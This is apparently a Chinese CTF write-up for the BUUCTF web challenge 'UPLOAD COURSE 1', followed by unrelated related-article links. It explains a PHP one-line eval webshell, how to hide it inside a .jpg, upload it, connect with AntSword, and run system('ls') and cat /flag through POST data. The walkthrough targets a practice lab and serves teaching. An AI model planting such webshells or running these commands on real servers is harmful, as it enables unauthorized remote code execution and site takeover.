当前位置: 首页 > article >正文

BUUCTF_Web(UPLOAD COURSE 1)

打开靶机,发现需要上传文件,尝试一句话木马+蚁剑链接

 

一句话木马

【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。

<?php @eval($_POST[cmd]);  ?>


1、$_POST[cmd]

$_POST 是 PHP 中的一个超全局变量,我们在浏览器中POST方式提交的所有变量,都会保存在此数组中,变量名即为键名
2、eval() 

eval() 函数在 PHP 中用于执行字符串中的代码并返回执行结果。该函数接受一个字符串作为参数,该字符串包含要执行的 PHP 代码(在此代码中为$_POST[cmd]),然后执行该代码,并且可以返回结果,该函数对php语法要求严格,所传入语句必须以" ; "号结尾
3、"@"

符号"@"的作用是 屏蔽该语句的报错信息,也就是所即使该语句执行错误也不会显示报错信息。

 

1.做一个图片木马,并上传

文件上传漏洞,往目标网站中上传一句话木马。

文本方式.txt打开,末尾粘贴一句话木马

重命名为.jpg格式,并上传。

或者不用重命名,无论上传什么格式的文件,它都会自动转成.jpg

 

2.1蚁剑连接

显示文件储存路径

将URL 补充文件路径。

即为主机地址:

http://f6a0ffd5-293b-48b6-a827-739acaff6483.node5.buuoj.cn:81/index.php?file=uploads/6790a3e0610e4.jpg

下载蚁剑 (核心源码+加载器)

参考链接:蚁剑的安装

右键,选择添加数据

将URL复制粘贴,连接密码为木马的POST的中括号里的内容cmd

输入/flag,查找就得到了

 

2.2用POST方式

1.直接点Execute,得到文件的内容

选中Post data

是一个类似蚁剑等webshell管理工具的界面。

2.其中“Post data”区域勾选,输入框内代码为 cmd=system('ls');  。
 
 cmd=system('ls');  代码含义:
 

  • -  cmd  是自定义参数名,用于传递命令内容。
  • -  system  是PHP函数,可执行外部系统命令。
  • -  ls  是Linux系统命令,用于列出当前目录下的文件和目录。

 
3.再输入cmd=system('cat/flag');

得flag

 


http://www.kler.cn/a/515360.html

相关文章:

  • 基于springboot社区医院管理系统
  • C语言初阶牛客网刷题——HJ73 计算日期到天数转换【难度:简单】
  • QT:控件属性及常用控件(3)-----输入类控件(正则表达式)
  • HashMap用法
  • c++常见设计模式之装饰器模式
  • Linux中关于glibc包编译升级导致服务器死机或者linux命令无法使用的情况
  • three.js实现裸眼双目平行立体视觉
  • #漏洞挖掘# 一文了解什么是Jenkins未授权访问!!!
  • 深入解析 Spring AI 系列:解析返回参数处理
  • 机器学习-K近邻算法
  • C# 匿名函数
  • 计算机网络 (56)交互式音频/视频
  • C语言初阶牛客网刷题——HJ73 计算日期到天数转换【难度:简单】
  • 文献精汇|121 模型:用于高收益交易的 LSTM 驱动的协整策略
  • 读写和解析简单的 nc 文件
  • flutter入门系列教程<2>:Http请求库-dio的使用
  • 二叉树的递归遍历力扣--145,144,94
  • 【深度学习】嘿马深度学习笔记第11篇:卷积神经网络,学习目标【附代码文档】
  • WPF自定义布局--瀑布布局
  • Kafka后台启动命令
  • 详细介绍:Kubernetes(K8s)的技术架构(核心概念、调度和资源管理、安全性、持续集成与持续部署、网络和服务发现)
  • wx036基于springboot+vue+uniapp的校园快递平台小程序
  • django admin list_display显示外键字段处理办法
  • 频繁刷新网页会对服务器造成哪些影响?
  • 如何轻松实现域名指向服务器
  • 代码统计工具cloc